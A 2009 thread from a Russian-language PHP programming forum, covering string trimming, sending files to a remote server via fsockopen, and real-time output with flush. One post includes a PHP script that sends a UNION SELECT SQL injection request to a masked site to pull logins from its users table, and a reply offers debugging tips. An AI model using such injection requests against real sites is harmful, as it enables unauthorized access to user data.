
27.08.2009, 23:37
|
|
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
С нами:
9541766
Репутация:
2407
|
|
Linuxoid,
PHP код:
$n=6; //сколько символов отрезать
$str=substr('твоя строка',-$n);
Кубик Рубик,
Placeholder – 1. «Заполнитель». Представляет собой текстовый или графический элемент электронного шаблона страницы, заменяемый на практике реальным элементом. 2. Структурный нуль. Прочерк по причине бессмысленности присваивания некоторого значения, предусмотренного жестким форматом.
Последний раз редактировалось d_x; 27.08.2009 в 23:41..
|
|
|

28.08.2009, 10:58
|
|
Участник форума
Регистрация: 19.05.2007
Сообщений: 281
С нами:
9989619
Репутация:
106
|
|
PHP код:
<?php
$fp = fsockopen ("www.xxx.ru", 80, $errno, $errstr, 30);
if (!$fp) {
} else {
fputs($fp,"GET /next.php?id=5+union+select+1,2,login%20FROM%20pb_users%20limit%200,1%20-- HTTP/1.1/r/nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*/r/nAccept-Language: ru/r/nAccept-Encoding: gzip, deflate/r/nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)/r/nHost: www.xxx.ru/r/nConnection: Keep-Alive/r/n/r/n");
while (!feof($fp)) {
$fp2 .= fgets ($fp,128);
}
fclose ($fp);
echo $fp2;
}
?>
Запрос возвращает 400 Bad Request. Сам текст запроса со снифера. В чем может быть проблема?
|
|
|

28.08.2009, 11:13
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
может быть не те заголовки передаешь, сделай такой же запрос в FF + Tamper Data тебе всё расскажет
|
|
|

28.08.2009, 11:22
|
|
Познающий
Регистрация: 11.07.2009
Сообщений: 58
С нами:
8861249
Репутация:
6
|
|
у меня вопрос такого плана:
хочу реализовать удаленное создание файлов на сервере, то есть на локал хосте я запускаю скрипт, он отправляет запрос на сервер, в данном случае это название файла и его содержимое(требуется создание файлов .html .txt .php)
пробывал эту информацию передавать POST'ом, открывал файлы обычно:
$fp = fopen("qwe.txt","r");
$dat = fwrite($fp, filesize("qwe.txt"));//это довольно грубый пример, в скрипте все открывалось циклом.
отправлял, отправлялось, но скрипт который должен получить переменные $name и $dat последняя переменная доходила очень сильно измененной, так вот собственно и вопрос:
как нормально передать, метод расматриваемый выше не думаю что будет рациональным решением моей проблемы, что кто посоветует????
|
|
|

28.08.2009, 11:27
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
делать тоже самое по фтп и не парить мозг, создавать файлы на сервере, да к тому же включая .php, через php-скрипт-приемник просто небезопасно и чревато, а через фтп потребуется лишь локальный скрипт в пять строчек
|
|
|

28.08.2009, 11:51
|
|
Познающий
Регистрация: 11.07.2009
Сообщений: 58
С нами:
8861249
Репутация:
6
|
|
а если нет доступа к фтп???  )
и чем это чревато?о0
тем более это расматривается для разового, единичного пользования, а не для ежедневной работы с файлами
Последний раз редактировалось Insane bboy; 28.08.2009 в 11:55..
|
|
|

28.08.2009, 12:49
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
ну тогда можно например через fsockopen
http://ru.php.net/fsockopen
PHP код:
Lots of tries and lots of reading http-headers...
If you want to post $_POST vars and (in this case) one file named userfile to $remote_server and $remote_url.
<?php
// get the necessary data
$file_name = $_FILES['userfile']['name']; // the file
$tmp_name = $_FILES['userfile']['tmp_name']; // the file
$content_type = $_FILES['userfile']['type']; // the file mime type
srand((double)microtime()*1000000);
$boundary = "---------------------".substr(md5(rand(0,32000)),0,10);
// Build the header
$header = "POST $remote_url HTTP/1.0\r\n";
$header .= "Host: $remote_server\r\n";
$header .= "Content-type: multipart/form-data, boundary=$boundary\r\n";
// attach post vars
foreach($_POST AS $index => $value){
$data .="--$boundary\r\n";
$data .= "Content-Disposition: form-data; name=\"".$index."\"\r\n";
$data .= "\r\n".$value."\r\n";
$data .="--$boundary\r\n";
}
// and attach the file
$data .= "--$boundary\r\n";
$content_file = join("", file($tmp_name));
$data .="Content-Disposition: form-data; name=\"userfile\"; filename=\"$file_name\"\r\n";
$data .= "Content-Type: $content_type\r\n\r\n";
$data .= "".$content_file."\r\n";
$data .="--$boundary--\r\n";
$header .= "Content-length: " . strlen($data) . "\r\n\r\n";
// Open the connection
$fp = fsockopen($remote_server, 80);
// then just
fputs($fp, $header.$data);
fclose($fp);
?>
предварительно создав на удаленном хосте скрипт загрузки файлов на сервер через обычную форму
|
|
|

28.08.2009, 16:12
|
|
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
С нами:
9574565
Репутация:
712
|
|
Как можно сделать вывод логов в реальном времени ?
Пример:
PHP код:
for($i = 0; $i < 10; $i++)
{
echo $i;
sleep(60);
}
Мне нужно вывести $i, подождать 60 секунд, очистить экран и вывести $i и тд.
|
|
|

28.08.2009, 17:16
|
|
Постоянный
Регистрация: 07.03.2009
Сообщений: 357
С нами:
9042754
Репутация:
399
|
|
Сообщение от geforse
Как можно сделать вывод логов в реальном времени ?
Пример:
PHP код:
for($i = 0; $i < 10; $i++)
{
echo $i;
sleep(60);
}
Мне нужно вывести $i, подождать 60 секунд, очистить экран и вывести $i и тд.
Давно пора свыкнуться с мыслью что написать демона на ПХП невозможно...
Так-что либо пишем его на другом языке, либо юзаем крон.
|
|
|

29.08.2009, 00:48
|
|
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
С нами:
9213376
Репутация:
278
|
|
Сообщение от geforse
Как можно сделать вывод логов в реальном времени ?
Пример:
PHP код:
for($i = 0; $i < 10; $i++)
{
echo $i;
sleep(60);
}
Мне нужно вывести $i, подождать 60 секунд, очистить экран и вывести $i и тд.
про flush(); забыли? 
|
|
|
|
 |
|
|
Здесь присутствуют: 17 (пользователей: 0 , гостей: 17)
|
|
|
|